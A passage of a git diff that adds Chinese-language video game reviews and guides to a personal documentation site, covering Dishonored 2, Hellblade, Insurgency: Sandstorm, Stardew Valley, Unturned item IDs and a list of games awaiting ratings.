只参加比赛但不完成比赛依然可以在比赛结束后获得一笔可观的收入, 但参赛所使用的赛车在比赛结束前无法使用. +- Rally 和 Rallycross 的第一辆赛车都是免维修费用的. + +## 公式 + +- 雨天 = 开肥皂. +- 雨天 + 后驱 = 开陀螺. +- 路面结冰 + 后驱 = 开螃蟹. diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Dishonored_2.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Dishonored_2.md" new file mode 100644 index 000000000..1c61fab93 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Dishonored_2.md" @@ -0,0 +1,188 @@ +# Dishonored 2 + +**中文**: 耻辱 2. + +![封面 - Arkane Studio](assets/dishonored_2_cover.jpg){ width=30% style="display: block; margin: 0 auto" } + +## 测评 + +**类型**: 第一人称, 潜行, 单人. + +| 项目 | 评分 | 描述 | +| ---- | ---- | ---------------- | +| 总体 | 10 | | +| 画面 | 8 | | +| 音效 | 6 | | +| 优化 | 6 | 帧率浮动大 | +| 剧情 | 8 | | + +### 优点 + +![截图 - Arkane Studio](assets/4.png){ width=70% style="display: block; margin: 0 auto" } + +- 优秀的关卡设计: 如机关宅邸 (Clockwork mansion). +- 玩法多样: 通过武器和超能力可以看出这款游戏并不只有潜行一种玩法, 直接与敌人正面冲突也是一种十分刺激的玩法. 虽然存在 "混乱度" 的设定, 但对游玩的影响不大. +- 难度设定方面十分的合理: 提供多种难度, 最低难度使得第一次体验这类型游戏的新手可以很容易地上手, 而高难度又能给经验丰富的玩家带来充足的挑战. +- 较高可玩性: 双主角/二周目 "游戏+" 和多剧情分支的设计让这部作品的可玩性变得很高. +- 优秀的存档机制: 可以在游戏内通过快捷键快速存档/回档, 这对于潜行类游戏来说十分重要. 并且支持多个存档, 因此无需担心出现 "死档". + +### 缺点 + +- 优化不佳: 在较大的场景下帧率的波动会变得十分严重, 带来卡顿感. +- 存在崩溃现象: 在游玩时遇到过若干次崩溃现象, 部分玩家存在到达特定区域就崩溃的现象. + +![背景 - Arkane Studio](assets/0.png){ width=70% style="display: block; margin: 0 auto" } + +## 背景 + +故事发生在第一代策反事件 15 年之后, 艾米莉成为了群岛帝国 (Empire of the Isles) 新的女皇. 曾被道德 (Daud) 流放到虚空之境 (The void) 的德莱拉 (Delilah Copperspoon) 回归并成功夺取了政权, 声称自己才是皇位真正的继承人. + +### 主角 + +本作共有两名主角, 玩家可以在第一章选择其中一名主角进行游玩. 两位主角拥有不同的能力. + +- **艾米莉**·考德温 (Emily Kaldwin, Emily Drexel Lela Kaldwin): 25 岁, 女皇. +- **科尔沃**·阿塔诺 (Corvo Attano): 54 岁, 皇家护卫, 艾米莉的亲生父亲, 第一代主角. + +## 玩法 + +### 暗杀 + +在不惊动敌人的情况下使其昏迷或死亡. + +- 死亡: 从敌人后方接近, 在较短的距离内使用普通攻击可以处决敌人. +- 昏迷: 在不被发现的情况下接近敌人可以勒晕敌人. + +可以在靠近敌人后直接勒晕敌人或使用其他道具远程击晕敌人. 空瓶不一定都能击晕敌人, 而且在击中目标后会发出声响. + +以下技巧有助于更好的暗杀: + +- 可以直接行走到目标后方, 在其出现感叹号后冲刺并勒晕对方. +- 在勒晕敌人的过程中可以提前长按 `搬运` 键 (`F`) 在第一时间抱起敌人. + +### 敌人 + +![敌人 - Arkane Studio](assets/8.png){ width=70% style="display: block; margin: 0 auto" } + +敌人的状态有以下几种: + +- 正常: 敌人会做手头的事情, 在发现异常(听到声音/看见你/发现尸体等)时会警觉. 头上没有显示或显示 `带白色边框的透明感叹号`. +- 警觉: 敌人头上显示 `带红色边框的白色感叹号`, 会主动搜寻可疑的位置. + 该阶段的敌人看见你后感叹号会直接变成 `红色的感叹号`. +- 战斗: 敌人发现了你, 并将对你展开攻击. +- 逃跑: 敌人认为无法击败你后踉跄着逃跑. +- 轻度昏迷/睡眠: 该情况下敌人完全没有视野, 但依然会感知周围声音. +- 昏迷. + +敌人主要有以下几种类型: + +- 普通人类: 武器可能只有剑, 可能也有枪. 包含守卫 (Grand Guard) 等. +- 发条战士 (Clockwork soldier): 前后方都有视野, 无法被一击暗杀. + 但可以利用背后的弱点结合刀枪秒杀. +- 女巫 (Brigmore Witch): 有超能力, 包括瞬移/远程攻击. 一旦开战比较难对付. +- 狼狗 (Wolfhound): 有嗅觉, 在一定范围内会被感知到. 血量低. +- 墓地猎犬 (Gravehound) + + 激活的头骨可以通过远超攻击销毁, 玩家靠近后会变成墓地猎犬, 击杀后会变成未激活的头骨掉落. + 未激活的头骨可以通过投掷销毁以**彻底杀死**墓地猎犬, 头骨碰撞后会爆炸并发出响声. 若未销毁会在一定时间后重新变成墓地猎犬. + +### 超能力 + +![超能力 - Arkane Studio](assets/2.png){ width=70% style="display: block; margin: 0 auto" } + +以下几个能力较为重要: + +- 瞬移 (Far Reach, Blink): 该能力不仅可以在敌人眼前穿梭/加快无声前进的速度, 还可以到达正常方法无法到达的地方. +- 骨牌 (Domino): 仅艾米莉, 可以将作用在一个敌人的效果映射到多个敌人. 可以**节约弹药/同时消灭**多个敌人. +- 黑暗视觉 (Dark Vision): 可透视高亮物品, 便于收集. + +与超能力相关的道具有: + +- 符文 (Runes): 用于升级超能力. +- 骸骨护符 (Bonecharms): 装备以提供加成, 可以进行分解和制作 (仅艾米莉). + +## 成就 + +成就可以分为以下几类: + +- 主线类: 完成最主要的几个任务, 使用不同的主角, 达成不同的混乱度. 该类成就最容易达成. +- 支线类: 完成特定的支线任务. 该类成就较容易达成, 在通关后可以回到任意任务完成成就, 但部分成就是跨越多个任务的. +- 收集类: 收集场景中的特定物品. 该类成就较难达成, 收集要素缺一不可, 部分成就是跨越多个任务的. + +成就图标有三种金属边框, 分别为铜/银/金, 达成难度递增. + +下面讨论以下几个成就和达成技巧: + +1. Clean Hands: 全关卡不击杀任何人. + + ![Clean Hands](assets/clean_hands.jpg) + 包括平民, 人类敌人(包括目标). 每个主要目标都有一个不杀死而解除其威胁的方法. + 值得注意的是, 最后一关中, 击杀目标德莱拉的分身不算击杀. + +2. Shadow: 全关卡不被发现. + + ![Shadow](assets/shadow.jpg) + 该成就难度最高. 被发现的标志是 `红色的感叹号`, 即使平民也可能出现. 因此不要在平民的面前进行犯罪行为, 或者在其出现 `红色的感叹号` 前将其勒晕. + `带红色边框的白色感叹号` 代表警觉, 并不算被发现. + +3. Flesh and Steel: 不使用超能力. + + ![Flesh and Steel](assets/flesh_and_steel.jpg) + 该成就对游戏体验影响很大, 建议在确保通关至少一次再尝试. 其中 `瞬移` 能力是到达某些地方的必要前提. 而且只有拥有超能力才能制作 `骸骨护符`. + 作为 `光幕` 能源的风力发电机无法被关闭, 因此 `自动布线器` 会更加有用. 也可以通过走其他路线绕过 `光幕`. + 达成此成就的方法很简单, 在 `界外魔` 向你提供 `虚空印记` 的时候拒绝, 并通关即可. + +4. Fearless Fall: 从研究院最高处跳下并处决下方的一名敌人. + + ![Fearless Fall](assets/fearless_fall.jpg) + 最高处位于研究院中央建筑顶部的屋顶, 有一个放置了骸骨护符的鸟巢. + 可以先投掷手榴弹吸引敌人前来调查. + +5. Heartbeat Reaper: 1.5 秒内杀死 6 个敌人. + + ![Heartbeat Reaper](assets/heartbeat_reaper.jpg) + 击晕六个敌人放在一起, 然后使用范围性攻击同时击杀他们. + +6. Fatal Redirect: 用敌人的子弹击杀敌人. + + ![Fatal Redirect](assets/fatal_redirect.jpg) + 获得反弹子弹能力后贴着使用枪械的敌人的脸. + +利用存档可以快速/没有副作用的完成某些成就, 比如某些需要击杀敌人的成就可以存在再击杀然后回档, 这样既可以解锁成就又不算击杀. + +以下要点对完成成就会有极大帮助: + +1. 存档 + + 该功能可以极大地减少任务失败的后果. 该游戏可以随时存档, 这一功能十分重要且需要频繁使用. + 使用快捷键可以进行快速存档 (`F5`) 和读档 (`F9`), 但是这种方法只会重复使用一个挡位, 可能会让这唯一的挡位变成 `死档`. 因此还需要再确保周边环境安全的情况下在菜单栏选择挡位进行存档. + +2. 统计数字 + + 菜单栏中的统计数字里统计了许多重要的数据, 如击杀人数/被发现次数等. 在存档前应该先查看这些数据来确保这个存档是有效的. + 其中 `玩家死亡次数` 不受回档影响. + +3. 自定义任务栏 + + 任务栏上的物品可以通过数字按键 0-9 快速选取, 因此更具自身喜好合理的自定义任务栏十分有用. + 打开快捷轮盘 (鼠标中键) 查看全部物品, 选择某项物品再按下数字键来将其放置在任务栏的指定位置. + 比如常用瞬移能力的玩家可以打开快捷轮盘, 移动鼠标选中瞬移能力, 然后按下数字按键 1. 之后想要切换到瞬移能力只需要按下数字按键 1. + +## 参见 + +- 剧情简介视频 + - [耻辱 1 - 附魔星Fms - bilibili](https://www.bilibili.com/video/BV1pG411b7eK) + - [耻辱 2 - 附魔星Fms - bilibili](https://www.bilibili.com/video/BV1cG41157qU) +- 全收集流程视频 + - [耻辱 2 - 精分小白 - bilibili](https://www.bilibili.com/video/BV1kt411B7tj) + - [界外魔之死 DLC - 精分小白 - bilibili](https://www.bilibili.com/video/BV1H4411V7HN) +- Steam 成就 + - [耻辱 2 - Steam](https://steamcommunity.com/stats/403640/achievements) + - [界外魔之死 DLC - Steam](https://steamcommunity.com/stats/614570/achievements) +- *The Art of Dishonored 2* 官方艺术设定集图册 +- + +## 参考 + +- +- diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Hellblade_Senua's_Sacrifice.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Hellblade_Senua's_Sacrifice.md" new file mode 100644 index 000000000..a6b88a9fd --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Hellblade_Senua's_Sacrifice.md" @@ -0,0 +1,40 @@ +# Hellblade: Senua's Sacrifice + +**中文**: 地狱之刃: 塞娜的献祭. + +## 缺点 + +- **存在严重恶性** BUG: 游戏存在可能导致游戏无法继续的 BUG. +- **敌人锁定**: 战斗状态下, 无法解除锁定. 使玩家难以观察周遭的情况. +- **不容易区分锁定的目标**: 当场景同时存在多个敌人时, 不容易区分具体锁定的目标. 这点应该是制作组为了实现无 HUD 所做的取舍. +- **引导较弱**: 游戏部分关卡存在引导较差的问题, 可能导致玩家消耗超过预期的时间来通关. + +## 技巧 + +- 开启聚焦后, 可以使用 `LB` `Y` 的组合来快速且连续的对敌人造成重击. 这应该是一个 BUG. +- 符文是游戏中唯一的收集要素, 错过后可以在主菜单的 "章节选择" 里重新收集, 收集后可直接回到主菜单, 无需重复通关关卡. +- 过独木桥时保持平衡, 手柄是靠右摇杆左右控制, 键盘是靠 `A` `D` 键控制. +- 由于游戏缺少引导, 请在战斗前查看键位. + +!!! warning + 靠近部分物体时 (如树, 或沼泽试炼中的石门) 后可能遇到恶性 BUG, 会导致塞娜完全无法移动. 解决办法是重新开始当前章节, 但这也意味着会丢失当前章节的进度. + +## Fenrir (Garmr) + +!!! warning + 在死亡后, 可能遇到**导致游戏无法继续**的严重恶性 BUG.塞娜会复活在关卡的外部, 无法重新进入之前的关卡. 可以通过[存档修改工具](https://github.com/FusRoDah061/Hellblade-Senuas-Sacrifice-Savegame-Loader), 修改存档的章节. + +!!! warning + 战斗过程中进入没有光照的地方, 会出现玩家失明的 BUG. 只能在开启聚焦后回复视力. + +## 死亡机制 + +游戏在塞娜第一次死亡后声称其手上的侵蚀印记会随着死亡次数不断增长, 当侵蚀印记到达塞娜的大脑后, 游戏进度将被重置. +但事实上, 侵蚀印记增长到一定程度后便会停止, 永远无法达到大脑.[^1] 这只是制作组的虚张声势, 用于给玩家带来对死亡的恐惧, 却又不至于摧毁玩家的游戏体验. + +## 参见 + +- [《地狱之刃:塞娜的献祭》全流程全石碑图文攻略 - Steam Community](https://steamcommunity.com/sharedfiles/filedetails/?id=2410385851) +- [IGN Walkthrough](https://www.ign.com/wikis/hellblade/Walkthrough) + +[^1]: https://en.wikipedia.org/wiki/Hellblade:_Senua%27s_Sacrifice#Death_mechanic diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Insurgency_Sandstorm.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Insurgency_Sandstorm.md" new file mode 100644 index 000000000..fffacc8dc --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Insurgency_Sandstorm.md" @@ -0,0 +1,41 @@ +# Insurgency: Sandstorm + +**中文**: 叛乱: 沙漠风暴. + +![封面 - New World Interactive](assets/insurgency_sandstorm_cover.jpg){ width=30% style="display: block; margin: 0 auto" } + +## 测评 + +**类型**: FPS, 单人, 多人合作, 多人竞技. + +| 项目 | 评分 | 描述 | +| ---- | ---- | ---------------- | +| 总体 | 9 | | +| 画面 | 10 | | +| 音效 | 8 | | +| 优化 | 9 | | +| 剧情 | - | | + +叛乱: 沙漠风暴是一款偏硬核的第一人称设计游戏. + +偏硬核的元素主要有以下几点: + +- 平均 TTK 短. +- 真实的弹药管理: 备弹为携带的弹匣, 且只能查看单个弹匣内的大致子弹数. +- HUD 有限: 比如没有手雷指示器, 需要根据手雷落地碰撞的响声判断手雷的落点. + +## 优点 + +- 枪械模型质量很高. +- PvE + PvP. + +## 优化 + +- 阴影质量 (Shadow Quality): `中` 或更高. +- 运动模糊 (Motion Blur): `关`. +- 布娃娃数量 (Ragdoll Count): `低`. +- 材质流池 (Texture Streaming Pool): `高`. + +## 参见 + +- [不同选项画面对比](https://www.reddit.com/r/insurgency/comments/rjl6wu/comment/hp43udc/?utm_source=share&utm_medium=web2x&context=3). diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Quantum_Break.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Quantum_Break.md" new file mode 100644 index 000000000..8a83bb57e --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Quantum_Break.md" @@ -0,0 +1,7 @@ +# Quantum Break + +## 故障排除 + +- 2K 分辨率选项有限 + + 游戏目录下 `dx11/QuantumBreak.exe` 属性 > 兼容性 > 更改高 DPI 缩放设置 > 勾选 `替代高 DPI 缩放行为`, 对应选项选 `应用程序`. diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/assets/Egg_Festival_18_Eggs.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/assets/Egg_Festival_18_Eggs.jpg" new file mode 100644 index 000000000..bcfcb73f8 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/assets/Egg_Festival_18_Eggs.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/assets/gift.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/assets/gift.png" new file mode 100644 index 000000000..05ead8e6d Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/assets/gift.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/assets/stardew_valley_cover.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/assets/stardew_valley_cover.jpg" new file mode 100644 index 000000000..f8143ef92 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/assets/stardew_valley_cover.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/stardew_valley.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/stardew_valley.md" new file mode 100644 index 000000000..e31bd963e --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Stardew_Valley/stardew_valley.md" @@ -0,0 +1,140 @@ +# Stardew Valley + +**中文**: 星露谷物语. + +![封面 - ConcernedApe](assets/stardew_valley_cover.jpg){ width=30% style="display: block; margin: 0 auto" } + +## 前置准备 + +1. 观看各类入门教程. +2. [星露谷物语官方中文 Wiki](https://zh.stardewvalleywiki.com/Stardew_Valley_Wiki) +3. 为角色选择外貌和取名以及宠物物种和外貌时需**仔细考虑**, 后期满足条件后可以有偿改外貌和改名, **宠物物种不能修改**. +4. 在 `菜单 | 选项` 中启用 `一直显示工具目标位置` 和 `缩放键`. + + 缩放键在主界面右上角状态栏中, 可以快捷的调整画面缩放比例. + +## 前置知识 + +- 存档机制: 只能通过睡觉存档, 未存档前退出游戏可回档 (回到当天早餐). +- 电视可以收看: + + - 天气预报: **明天天气**. + - 算命占卜: **今日运气**. 详情请参见 [运气影响的事件 - Wiki]. + - 酱料女皇: **解锁菜谱**. 每周日播出新的菜谱. + - 离地而居: **小贴士**. 两年一轮, 然后重播. + - 钓鱼信息. + +- 不随意出售季节性物品, 可能是[收集包 - Wiki]内容. 错过当前季节后要等来年或在有货时高价购入. +- 箱子等其他可放置物品可以放置到农场外, 但注意**不要放在 NPC 可能行走的路径上**, 避免 NPC 经过时破坏. + +[运气影响的事件 - Wiki]: https://zh.stardewvalleywiki.com/%E8%BF%90%E6%B0%94#.E6.AF.8F.E6.97.A5.E8.BF.90.E6.B0.94.E7.9A.84.E5.BD.B1.E5.93.8D +[收集包 - Wiki]: https://zh.stardewvalleywiki.com/%E6%94%B6%E9%9B%86%E5%8C%85 + +## 辅助工具 + +- 完成度检查: +- 预测器: + +## 春季 + +### 收集包 + +春季觅食收集包: `野山葵`, `黄水仙`, `韭葱`, `蒲公英`. +高品质作物收集包: `防风草(金星)x5`, ... . + +### 觅食 + +`韭葱`: 适合食用. +`黄水仙`: 适合送礼. +`野山葵`: 适合出售. + +### Day 1 + +1. 打开礼盒, 获得 `防风草x15`. +2. 砍树获得 50x木材 建造箱子. 砍树时留下木桩为后续种植保留体力. + + 获得所需木材后不应继续砍树, 因为达到采集 1 级后树木才会掉落种子. + +3. 出门采集季节性植物, 搜垃圾桶 (房屋周围), 在种子店购买 `土豆种子`, `青豆种子`, `花椰菜种子x2`, `防风草种子xN`. + + - 采集时可以通过 `菜单 | 选项 | 截屏` 来查看当前区域的全部内容, 可提前规划路线节省时间. + - 可以降低画面缩放比例来扩大视野. + +4. 种植 `土豆`, `青豆`, `花椰菜x2`, `防风草xN`. 去除田地附件的杂草. 记得之后每日浇水, 否则植物不会生长. +5. 挖石头除杂草, 获取 `煤炭` 和 `纤维x20`. 为后期制作 `稻草人` 做准备. + + 仅清理需要用到的地方, 节省体力和时间. + +### Day 2 + +1. 去沙滩解锁钓竿. + + - 捡贝壳. + - 注意沙滩上是否有 `远古斑点` (外形似蚯蚓). + +### Day 2-4 + +1. 钓鱼挣钱, 为后续下矿前 `扩充背包` (2000G) 和升级钓竿为 `玻璃纤维棒` (1800G) 做准备. + + - 鱼上钩后会出现一个[钓鱼小游戏 - Wiki]. + - 钓鱼有收益更高的地点, 详情请参考其他教程. + - 每种鱼保留一个最低品质的. + - 钓到的各类垃圾可以保留, 尤其是 `CD`, `破损的眼镜`. 达到钓鱼 4 级后可以制作 `回收机`, 可以回收这些废物获得资源. + +2. 适当砍树收集木材. +3. 在鱼店购买 `玻璃纤维棒`(1800G), 可以装备鱼饵. 可以减少 50% 等待鱼上钩的时间,并降低钓到垃圾的概率. + +[钓鱼小游戏 - Wiki]: https://zh.stardewvalleywiki.com/%E9%B1%BC#.E9.92.93.E9.B1.BC.E5.B0.8F.E6.B8.B8.E6.88.8F + +### Day 5 + +1. 收获 `防风草xN`, 保留 `防风草(金星)x5` (若不足还需要继续施肥种植) 和 `防风草`. +2. 前往小镇东北部的 `矿井` 下矿. 每 5 层有一个电梯入口, 后期可以直接到达该层. + + - 进入矿洞后会出现血量, 应保持在一半以上, 请注意恢复血量. + - 顺着轨道可以找到矿车, 矿车有 `煤矿`. + - 采集 `铜矿石x25`, 为后续制作熔炉做准备. + - `虫肉` 制作 `饵料x5`. + +3. 在种子店购买 `扩充背包` (1800G), 解锁背包第二栏. 之后便可以通过 `Tab` 键切换背包栏. + +累计挣到 1000G 后将获得宠物. 抚摸 (好感度 +12) 一次宠物, 并给宠物的碗加水 (好感度 +6). 宠物好感度不会降低. + +### Day 6 + +1. 前一天由于收获了作物, 达到耕种 1 级. 解锁了稻草人配方. 制作一个 `稻草人`, 防止在田地周边. + +### Day 13 (复活节) + +1. 与村民对话. +2. 购买 `草莓种子`. +3. 与 `刘易斯` 交谈参与比赛, 请**提前**查看藏宝图 (下方). 在 50 秒内收集到至少 9 个彩蛋, 赢得比赛. 得到奖励 `草帽` (帽子均为纯粹的装饰品), 后续复活节奖励为 `1000G`. + + ![寻宝图](./assets/Egg_Festival_18_Eggs.jpg) + +## 夏季 + +### 收集包 + +夏季觅食收集包: `葡萄`, `香味浆果`, `甜豌豆`. +夏季作物收集包: `西红柿`, `辣椒`, `蓝莓`, `甜瓜`. +海鱼收集包: `金枪鱼` (海洋, 6:00-19:00), `红鲷鱼` (**雨天**, 海洋, 6:00-19:00), `罗非鱼` (海洋, 6:00-14:00). +湖鱼收集包: `鲟鱼` (山间湖泊, 6:00-19:00). +特色鱼类收集包: `河豚` (海洋, 12:00-16:00). + +## 秋季 + +### 收集包 + +河鱼收集包: `虎纹鳟鱼` (河流(小镇+森林), 6:00-19:00). +夜间垂钓收集包: 大眼鱼(**雨天**, 河流 (小镇+森林)/森林池塘/山间湖泊, 12:00-2:00). + +### Day 16 (星露谷展览会) + +自动寻找分数最高的组合: https://mouseypounds.github.io/stardew-fair-helper/ + +### Day 27 (万灵节) + +迷宫终点有一个`黄金南瓜`, 可用于制作`女巫冒`或直接出售 (2500G). + +![](assets/gift.png) diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/TODO.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/TODO.md" new file mode 100644 index 000000000..bccb46d35 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/TODO.md" @@ -0,0 +1,186 @@ +# TODO + +## 待评分 + +1. 全境封锁系列. +2. 深岩银河. +3. 泰坦陨落 2. +4. 帝国时代 2. +5. 杀手系列. +6. 侠盗猎车手 5. +7. 无主之地 2. +8. F.E.A.R. + +*** + +## The Walking Dead: Season One + +**中文**: 行尸走肉: 第一季. + +**类型**: 剧情, 单人. + +## Detroit: Become Human + +**中文**: 底特律: 化身为人. + +**类型**: 剧情, 单人. + +## Portal + +**中文**: 传送门. + +**类型**: 第一人称, 解密, 单人. + +## Portal 2 + +**中文**: 传送门 2. + +**类型**: 第一人称, 解密, 单人, 多人合作. + +## Mirror's Edge + +**中文**: 镜之边缘. + +**类型**: 跑酷, 单人. + +## DOOM + +**中文**: 毁灭战士. + +**类型**: FPS. + +*** + +## 待评价 + +## Alien: Isolation + +**中文**: 异形: 隔离. + +**类型**: 第一人称, 惊悚, FPS, 单人. + +| 项目 | 评分 | 描述 | +| -- | -- | -- | +| 总体 | 8 | | +| 画面 | 9 | | +| 音效 | 7 | | +| 优化 | 8 | | +| 剧情 | 7 | | + +## Rainbow Six: Siege + +**中文**: 彩虹六号: 围攻. + +**类型**: FPS, 多人合作, 多人竞技. + +| 项目 | 评分 | 描述 | +| -- | -- | -- | +| 总体 | 7 | | +| 画面 | 8 | | +| 音效 | 9 | | +| 优化 | 6 | | +| 剧情 | - | | + +## Life is Strange + +**中文**: 奇异人生. + +**类型**: 剧情, 单人. + +| 项目 | 评分 | 描述 | +| -- | -- | -- | +| 总体 | 9 | | +| 画面 | 8 | | +| 音效 | 6 | | +| 优化 | 6 | | +| 剧情 | 10 | | + +## Ready or Not + +**类型**: FPS, 单人, 多人合作. + +| 项目 | 评分 | 描述 | +| -- | -- | -- | +| 总体 | 8 | | +| 画面 | 8 | | +| 音效 | 7 | | +| 优化 | 6 | | +| 剧情 | - | | + +## Zero Hour + +**中文**: 关键时刻. + +**类型**: FPS, 单人, 多人合作, 多人竞技. + +| 项目 | 评分 | 描述 | +| -- | -- | -- | +| 总体 | 3 | | +| 画面 | 3 | | +| 音效 | 3 | | +| 优化 | 1 | | +| 剧情 | - | | + +*** + +## 待分离 + +## Battlefield 5 + +**中文**: 战地 5. + +**类型**: FPS, 单人剧情, 大型多人合作, 多人竞技. + +| 项目 | 评分 | 描述 | +| -- | -- | -- | +| 总体 | 8 | | +| 画面 | 10 | | +| 音效 | 8 | | +| 优化 | 10 | | +| 剧情 | 9 | | + +在接触这款作品之前, 我以为战地只是一款侧重于简单单人战役的常规多人FPS游戏. 然而, 在体验了这款游戏的单人剧情后, 我对该作的看法也产生了较大的转变. + +在单人剧情中, "猛虎末路"给我留下了最为深刻的印象. 尽管这个故事的背景是虚构的, 但从中可以看到很多史实背景. + +### 优点 + +* 精彩的单人战役. +* 优秀的背景音乐. + +### 缺点 + +* 官方服务器外挂横行, 严重影响游戏体验: 但可以选择外挂管制较严格的社区服务器. + +## Escape From Tarkov + +**中文**: 逃离塔科夫. + +**类型**: 生存, 末日, FPS, 硬核, 多人竞技. + +| 项目 | 评分 | 描述 | +| -- | -- | -- | +| 总体 | 7 | | +| 画面 | 6 | | +| 音效 | 7 | | +| 优化 | 3 | | +| 剧情 | 3 | | + +个人觉得定期删档无法接受. + +外挂横行, 且开发商对玩家反外挂呼声的回应令人失望. + +### 优点 + +* 丰富的子弹类型. +* 完善的枪械改装系统. + +### 缺点 + +* 售价异常高. +* 玩法单一. +* 外挂泛滥. + +*** + +## 待描述 diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Unturned.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Unturned.md" new file mode 100644 index 000000000..e64798738 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Unturned.md" @@ -0,0 +1,161 @@ +# Unturned + +**中文**: 未转变者. + +![封面 - Smartly Dressed Games](assets/unturned_cover.jpg){ width=30% style="display: block; margin: 0 auto" } + +## 测评 + +**类型**: 生存, 末日, FPS/TPS, 多人合作. + +| 项目 | 评分 | 描述 | +| ---- | ---- | ---- | +| 总体 | 7 | | +| 画面 | 6 | | +| 音效 | 3 | | +| 优化 | 6 | | +| 剧情 | 3 | | + +### 优点 + +- 可搭建私人服务器. +- 基本功能十分完善. +- 有庞大的 Steam 社区. + +### 缺点 + +- PvP 方面枪械手感很差. +- PvE 方面可玩性很低. +- 服务端内存占用较大. + +### 描述 + +我对这款作品的最初的印象深刻源于它别具一格的 low-poly 画风以及在 Steam 玩家群体中的良好的口碑. 在深入了解游戏制作背景时, 我惊讶地发现这款佳作竟然主要由一位作者 Nelson Sexton 独立完成. +尽管这款游戏本身的可玩性相对有限, 但 Steam 社区十分活跃. 玩家可以通过订阅创意工坊中的内容来增加可玩性. +目前, 该作品已基本停止开发, 进入了维护状态. 而主要的开发精力已经转向了下一代的 Unturned, 游戏引擎也从原先的 Unity 转为了 Unreal Engine. + +## 物品 + +### 命令 + +``` +/give [player]/[id]/[amount] +``` + +### 枪械 + +| ID | English | 中文 | +| --- | ----------- | --------------------------- | +| 116 | PDW | 蜜獾军用消音步枪 | +| 363 | Maplestrike | 枫叶军用突击步枪 | +| 297 | Grizzly | 灰熊军用狙击步枪/反器材步枪 | + +### 瞄具 + +| ID | English | 中文 | +| ---- | -------------------------- | -------------- | +| 146 | Red Dot Sight | 红点机械瞄具 | +| 147 | Red Halo Sight | 红圈机械瞄具 | +| 148 | Red Chevron Scope | 红V字瞄准镜 | +| 153 | 7x Scope | 7倍瞄准镜 | +| 296 | 16x Scope | 16倍瞄准镜 | +| 1201 | Military Nightvision Scope | 军用夜视瞄准镜 | + +### 战术配件 + +| ID | English | 中文 | +| ---- | ------------------------------ | -------------- | +| 7 | Military Suppressor | 军用消音器 | +| 1191 | Ranger Barrel | 俄制消音器 | +| 144 | Ranger Suppressor | 俄制步枪消音器 | +| 150 | Military Muzzle | 军用消焰器 | +| 8 | Vertical Grip | 垂直握把 | +| 145 | Horizontal Grip | 水平握把 | +| 149 | Military Barrel | 军用加长用枪管 | +| 151 | Tactical Laser | 战术激光辅瞄器 | +| 152 | Tactical Light | 战术灯光辅瞄器 | +| 1190 | Ranger Muzzle | 俄制枪管 | +| 1007 | Adaptive Chambering Attachment | 口径适应器 | +| 1008 | Rangefinder Attachment | 测距仪 | + +### 弹匣 + +| ID | English | 中文 | +| ---- | ----------------- | -------------- | +| 6 | Military Magazine | 军用步枪弹匣 | +| 1177 | Military Tracer | 军用曳光弹弹匣 | +| 17 | Military Drum | 军用步枪弹鼓 | +| 125 | Ranger Drum | 俄制步枪弹鼓 | + +### 弹药 + +| ID | English | 中文 | +| ---- | -------------------------------------- | ---------------- | +| 43 | Low Caliber Military Ammunition Crate | 小口径军用弹盒 | +| 44 | Low Caliber Civilian Ammunition Crate | 小口径民用弹盒 | +| 119 | Low Caliber Ranger Ammuniton Box | 小口径俄制弹药盒 | +| 1192 | High Caliber Military Ammunition Crate | 大口径军用弹盒 | +| 1193 | High Caliber Ranger Ammunition Crate | 大口径俄制弹盒 | + +### 医疗 + +| ID | English | 中文 | +| --- | ----------- | 